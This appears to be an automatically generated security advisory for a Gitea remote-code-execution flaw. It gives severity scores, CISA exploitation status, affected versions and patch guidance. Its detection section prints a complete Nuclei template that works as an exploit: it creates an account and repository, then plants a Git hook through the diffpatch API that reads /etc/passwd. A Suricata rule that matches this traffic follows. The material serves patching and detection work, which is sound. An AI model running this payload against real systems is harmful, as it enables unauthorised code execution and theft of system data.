CVE-2026-60004: Gitea Code Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.
Description quoted from the CVE record (assigned by mitre, published 2026-08-26).
Weakness: CWE-94 Improper Control of Generation of Code (‘Code Injection’)
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2026-08-25
- US federal deadline
- 2026-08-28
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2026-10703, EUVD-2026-66708, GHSA-rcr6-4jqh-j84m
VEDAS cluster: VEDAS:BELOWBLACK
Exploit Observer links 18 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (18)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2026/CVE-2026-60004.yaml
- Code repository: https://github.com/0xblackash/cve-2026-60004
- Code repository: https://github.com/eqstlab/cve-2026-60004
- Code repository: https://github.com/erberkan/cve-2026-60004-poc
- Code repository: https://github.com/fevar54/cve-2026-60004
- Code repository: https://github.com/gagaltotal/cve-2026-60004-poc-gitea
- Code repository: https://github.com/hackspeak/cve-2026-60004
- Code repository: https://github.com/imbas007/cve-2026-60004-poc
- Code repository: https://github.com/infosec-db/cve-2026-60004-gitea-rce-poc
- Code repository: https://github.com/infosec-db/cve-2026-60004-gitea-validator
- Code repository: https://github.com/sachinart/cve-2026-60004-gitea-0day
- Code repository: https://github.com/shinthink/cve-2026-60004
- and 6 more
Research and write-ups (2)
- Research or write-up: https://cyberpresso.com/blog/cisa-kev-gitea-cve-2026-60004
- Research or write-up: https://socprime.com/blog/cve-2026-60004-critical-gitea-rce-exploited-to-deploy-miner-like-payloads
Vulnerability databases and vendor advisories (7)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-66708
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-rcr6-4jqh-j84m
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-60004
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2026-60004
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-rcr6-4jqh-j84m
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004
- Vulnerability database or vendor advisory: https://www.suse.com/security/cve/CVE-2026-60004
News (2)
- News: https://deafnews.it/en/news/cve/gitea-cve-2026-60004-real-world-victim-reports-cpu-spike-and-dropper
- News: https://www.techgines.com/post/gitea-cve-2026-60004-diffpatch-rce-exploited
90 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.240
likely to be attacked soon - VEDAS
- 0.985
strong exploit evidence - On CISA KEV
- Yes, since 2026-08-25
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
VEDAS flagged this bug about 4 days before CISA confirmed attacks.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Gitea Gitea | from 1.17 before 1.27.1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: gitea gitea, go gitea.dev, ооо_«ред_софт» ред_ос, сообщество_свободного_программного_обеспечения gitea.
How to fix it
Fixed versions stated in the CVE record: 1.27.1.
CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Vendor guidance:
- https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-60004
How to detect it
Nuclei template (active check)
Gitea - Code Injection
Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.
Name and description quoted from the template, written by VEDAS.
The template sends 7 requests (GET /user/sign_up, POST /user/sign_up, POST /api/v1/user/repos, GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main and 3 more); it decides using dsl, json, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-60004.yamlShow the template (164 lines)
id: CVE-2026-60004
info:
name: Gitea - Code Injection
author: vedas-arpsyndicate
severity: critical
description: |
Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-60004&match=exact
- https://subdomain.center/?engine=ammonites&keyword=gitea&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-60004
cwe-id: CWE-94
metadata:
verified: false
tags: cve,cve2026,gitea,rce,intrusive,kev,vkev
variables:
ruser: "testpoc{{rand_int(10000,99999)}}"
rpass: "T3stP0c!{{rand_int(10000,99999)}}"
remail: "testpoc{{rand_int(10000,99999)}}@test.local"
rrepo: "poc-{{rand_int(10000,99999)}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
http:
- raw:
- |
GET /user/sign_up HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "user_name") || contains(body, "sign_up")'
condition: and
internal: true
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'name="_csrf"\s+content="([^"]+)"'
- 'name="_csrf"\s+value="([^"]+)"'
internal: true
- raw:
- |
POST /user/sign_up HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302 || status_code == 303'
internal: true
- raw:
- |
POST /api/v1/user/repos HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
{"name":"{{rrepo}}","private":true,"auto_init":true,"default_branch":"main"}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
- raw:
- |
GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'len(branch_sha) > 0'
condition: and
internal: true
extractors:
- type: json
name: branch_sha
json:
- '.commit.id'
internal: true
- raw:
- |
POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
{"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+ /*) ;;\n+ *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-1", "branch": "main", "sha": "{{branch_sha}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'len(commit_sha1) > 0'
condition: and
internal: true
extractors:
- type: json
name: commit_sha1
json:
- '.commit.sha'
internal: true
- raw:
- |
POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
Authorization: Basic {{base64(ruser + ":" + rpass)}}
{"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+ /*) ;;\n+ *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-2", "branch": "main", "sha": "{{commit_sha1}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
- raw:
- |
GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(ruser + ":" + rpass)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "root:")'
condition: and
extractors:
- type: dsl
dsl:
- '"CVE-2026-60004 RCE | Gitea | /etc/passwd: " + body'
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-60004 Gitea - Code Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-60004 Gitea - Code Injection"; flow:established,to_server; http.uri; content:"repos"; nocase; http.request_body; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-60004; reference:url,https://www.exploit.observer/?keyword=CVE-2026-60004&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=gitea&match=exact; sid:1010219; rev:1;)
CVE-2026-60004.rules on GitHub
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004 (government-resource)
Other references
- https://blog.gitea.com/release-of-1.27.1/
- https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
- https://www.runzero.com/blog/gitea/
- https://github.com/0xBlackash/CVE-2026-60004
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.